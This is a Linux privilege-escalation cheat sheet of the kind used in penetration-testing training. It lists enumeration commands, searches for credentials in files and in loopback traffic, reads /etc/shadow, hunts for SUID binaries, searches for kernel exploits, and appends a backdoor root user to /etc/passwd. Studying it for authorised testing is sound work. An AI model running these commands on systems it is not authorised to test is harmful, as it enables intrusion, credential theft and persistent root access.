# Linux

### Enumeration

```bash
# Manual Enumeration
# Information about the current user
id
whoami
# Information about users
cat /etc/passwd
# The hostname
hostname
# The version of the OS
cat /etc/issue
cat /etc/os-release
uname -a
# List available sudo privileges
sudo -l
# Run a command with sudo
sudo -u user /bin/echo Hello World!
# List of running processes
ps
# Full TCP/IP configuration
ip a
ifconfig
# Printing the routes
routel
route
# active network connections
ss -anp
ss -ntplu
netstat -ntlp
# Inspecting custom IP tables
cat /etc/iptables/rules.v4
# Listing all cron jobs
ls -lah /etc/cron*
# Cron jobs for the current user
crontab -l
# Installed packages on Debian
dpkg -l
# Listing all world writable directories
find / -writable -type d 2>/dev/null
# Listing content of /etc/fstab and all mounted drives
cat /etc/fstab
mount
# Available drives using lsblk
lsblk
# Listing loaded drivers
lsmod
# Additional information about a module
/sbin/modinfo libata

# Monitor linux processes
pspy64

# Automated Enumeration
./unix-privesc-check standard > output.txt
LinEnum.sh
linpeas.sh
./lse.sh -l1 -i
enum4linux-ng

# commands to PrivEsc
su - root
su root
sudo -i
sudo bash -p
# Switch to root user (if we have access to sudo su)
sudo su -
# Switch to a user (if we have access to sudo su)
sudo su user -
```

### Exposed Confidential Information

```bash
# Inspecting User Trails
env
history
cat .bashrc
sudo -l
# Inspecting Service Footprints
watch -n 1 "ps -aux | grep -E 'root|pass'"
sudo tcpdump -i lo -A | grep -E "root|pass"
# Search for Creds
grep -i "password" -r / 2>/dev/null
```

### Insecure File Permissions

<pre class="language-bash"><code class="lang-bash"># Abusing Cron Jobs
cat /var/log/cron.log
grep "CRON" /var/log/syslog
# Abusing Password Authentication
<strong>ls -la /etc/shadow ; cat /etc/shadow
</strong>ls -la /etc/passwd ; cat /etc/passwd
# Creat password hash of "Passw@rd" to edit /etc/passwd to add the user root2 
openssl passwd Passw@rd
echo "root2:$1$LRLHgfym$jlrbkdEKOHUWu1:0:0:root:/root:/bin/bash" >> /etc/passwd

# Insecure System Components
# Abusing Setuid Binaries and Capabilities
# Searching for SUID files
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 2>/dev/null
# Manually Enumerating Capabilities looking for setuid
/usr/sbin/getcap -r / 2>/dev/null

# Exploiting Kernel Vulnerabilities
cat /etc/issue
uname -r
arch
searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation" | grep  "4." | grep -v " &#x3C; 4.4.0" | grep -v "4.8"
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## Resources

```bash
# Linux
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
# GTFOBins
https://gtfobins.github.io
```
